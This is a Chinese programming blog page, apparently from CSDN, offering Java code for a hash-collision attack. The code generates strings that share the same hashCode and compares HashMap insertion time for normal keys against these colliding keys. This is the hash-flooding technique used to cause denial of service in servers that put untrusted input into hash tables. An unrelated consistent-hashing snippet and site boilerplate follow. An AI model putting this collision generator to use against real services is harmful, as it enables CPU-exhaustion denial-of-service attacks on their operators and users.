Hash Collision攻击的代码(java)

Hash Collision攻击的代码( java)
package com.wzucxd;

import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;

public class HashCollision_ {

	private static final int		i1	= 48;
	private static final int		i2	= 8;
	private static final int		i3	= 31;
	private static final int		i4	= 60000;
	private static final long		l1	= i3 - 1;
	private static final long		l2	= 2l << 32;
	private static final BigDecimal	d1	= new BigDecimal(31);
	private static final BigDecimal	d2	= d1.pow(i2);
	private static final BigDecimal	d3	= new BigDecimal(l2);
	
	public static void main(String[] args) {
		
		Map<String, Integer> map = null;
		
		//普通
		long startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			map.put(s, 0);
		}
		long endTime = System.currentTimeMillis();
		System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));
		
		//攻击
		startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			while (s.length() < 5) {
				s = "0" + s;
			}
			int hs = s.hashCode();
			char[] r = g(hs, 0);
			s = s.concat(new String(r));
			map.put(s, 0);
		}
		
		endTime = System.currentTimeMillis();
		System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));
		
	}
	
	private static char[] g(int s, int t) {
		long hx1 = l1 * s + i1;
		BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
		BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
		BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
		BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
		long l = hx4.subtract(b).longValue();
		l = (l + l2) % l2;
		if (l < 0)
			l += l2;
		char[] c = new char[i2];
		int p = 0;
		while (l != 0) {
			c[p++] = (char) (l % (i3) + i1);
			l = l / i3;
		}
		int f = i2 - p;
		char[] cs = new char[i2];
		int i = 0;
		while (i < f) {
			cs[i++] = (char) i1;
		}
		while (i < i2) {
			cs[i] = c[p - i + f - 1];
			++i;
		}
		return cs;
	}

	
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一致性哈希是一种常见的分布式哈希算法,主要用于解决缓存、负载均衡、分布式数据库等领域的问题。下面是一个简单的 Java 代码实现一致性哈希算法的示例: ```java import java.util.*; public class ConsistentHash { private final SortedMap<Integer, String> circle = new TreeMap<>(); private final int virtualNodes; public ConsistentHash(int virtualNodes, Collection<String> nodes) { this.virtualNodes = virtualNodes; for (String node : nodes) { addNode(node); } } public void addNode(String node) { for (int i = 0; i < virtualNodes; i++) { String virtualNode = node + "#" + i; int hash = getHash(virtualNode); circle.put(hash, node); } } public void removeNode(String node) { for (int i = 0; i < virtualNodes; i++) { String virtualNode = node + "#" + i; int hash = getHash(virtualNode); circle.remove(hash); } } public String getNode(String key) { if (circle.isEmpty()) { return null; } int hash = getHash(key); if (!circle.containsKey(hash)) { SortedMap<Integer, String> tailMap = circle.tailMap(hash); hash = tailMap.isEmpty() ? circle.firstKey() : tailMap.firstKey(); } return circle.get(hash); } private int getHash(String key) { // TODO: 实现自己的哈希算法 return key.hashCode(); } } ``` 上述代码中,我们通过 `SortedMap` 维护了一个环形空间,并将每个节点对应的虚拟节点散落在这个空间上。在查找节点时,首先计算出键值的哈希值,然后查找距离这个哈希值最近的节点。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值